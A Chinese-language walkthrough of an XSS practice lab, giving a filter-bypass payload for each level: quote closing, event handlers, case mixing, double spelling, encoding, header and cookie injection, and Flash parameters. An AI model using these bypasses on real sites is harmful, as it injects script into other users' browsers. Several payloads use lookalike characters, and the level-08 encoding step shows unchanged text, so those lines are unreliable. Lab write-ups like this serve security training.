level-01
查看源码,没有任何过滤,直接插入js代码即可
name=<script>alert()</script>
level-02
查看页面源码,和第一关一样插入js代码试试
<script>alert()</script>
发现没有成功
查看页面源码,特殊符号被实体转义了
第一个test被实体转义了,而第二个没有,使用双引号闭合即可
"> <script>alert()</script> <"
查看源码,发现进行了特殊符号的实体转义
level-03
输入<script>alert()</script>后查看页面源代码,发现为单引号闭合
使用单引号闭合'><script>alert()</script><'
还是不行,查看页面源代码<>符号被实体转义
所以在这儿使用onfocus事件绕过
onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码
' οnfοcus=javascript:alert() '
然后再点击输入框,触发onfoucus事件
level-04
查看页面源码,为双引号闭合,使用了input标签,可以使用onfocyus事件
" οnfοcus=javascript:alert() "
查看这一关的源码,<>字符被过滤
level-05
查看页面源码,为双引号闭合
" οnfοcus=javascript:alert() " ,发现之前的方法行不通,on被替换成了o_n
查看源码,过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入,这里我们用a href标签法
添加一个标签得闭合前面的标签,构建payload
"> <a href=javascript:alert()>xxx</a> <"
之后点击xxx
level-06
查看页面源代码
输入关键字进行测试 ,发现过滤了很多
onfocus <script> <a href=javascript:alert()>
尝试使用大小写绕过,发现大小写没有被过滤,所以这关可以使用大小写绕过
OnFocus <sCriPt> <a hReF=javascript:alert()>
"> <ScriPt>alert()</ScriPt> <"
查看源码,这关没有对大小写进行过滤,所以可以使用大写进行绕过
level-07
先尝试关键字,看哪些被过滤了" OnFocus <sCriPt> <a hReF=javascript:alert()>
可以发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
level-08
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
查看页面源码,看过滤了什么
可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"
查看源码,可以利用href的隐藏属性自动Unicode解码,插入一段js伪协议
javascript:alert()
利用在线工具进行Unicode编码后得到
javascript:alert()
level-09
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
查看页面源码,看过滤了什么
查看源码,当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload
javascript:alert()/* http:// */
level-10
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
查看页面源码,看什么被过滤了
特殊字符被实体化, input标内容被隐藏了,查看源码,这里是get传参t_sort,过滤掉了<>号,不能闭合插入标签,但是还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload
?t_sort=" οnfοcus=javascript:alert() type="text
level-11
通过查看页面源码<input>标签有四个值,都做了隐藏处理,不难看出,第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),我们先做个简单的测试来验证一下前面三个标签名,GET与POST传参都试一下看看
Get传参
?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
没有赋值成功,尝试post传参
t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
还是没能成功,使用burp suite抓包添加http头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
查看页面源码,将<>过滤掉了
使用Referer: " οnfοcus=javascript:alert() type="text
level-12
查看页面源码可知这关要修改ua头
用burp suite抓包修改ua头
" οnfοcus=javascript:alert() type="text
level-13
通过查看页面源码可知,要修改的值为cookie
用F12打开该页面的cookie进行修改
" οnfοcus=javascript:alert() type="text
level-15
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
?src='/level1.php?name=<img src=1 οnmοuseοver=alert()>'
鼠标移动到图片上时就会触发弹窗
level-16
通过查看页面源码可知,test插入到了center标签中,不需要进行闭合,先测试什么被过滤掉了
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化
查看源码
空格被过滤掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签
?keyword=<svg%0Aοnlοad=alert(1)>
level-17
先测试一下关键字
?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
特殊符号发生转义,但是不需要闭合,点击后缀名为swf的文件,首先得用一个支持flash插件的浏览器打开本关(打开后会有个图片出来的,不支持flash插件浏览器就没有),如果不想下载的话,自己去后端改一下也行,将后端第十七关的代码(level17.php)指向的swf文件改为index.png
再重新打开第十七关,就会出现图片
arg01=a&arg02=b οnmοuseοver=alert(1)
level-18
查看源码和上一关差不多,使用同样的方法
arg01=a&arg02=b οnmοuseοver=alert(1)
level-19
通过查看页面源码,需要进行闭合
往Flash里面插入一段js代码,?arg01=version&arg02=<a href="javascript:alert()">here</a>
level-20
与前面的关卡差不多,需要对swf反编译,构造payload
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123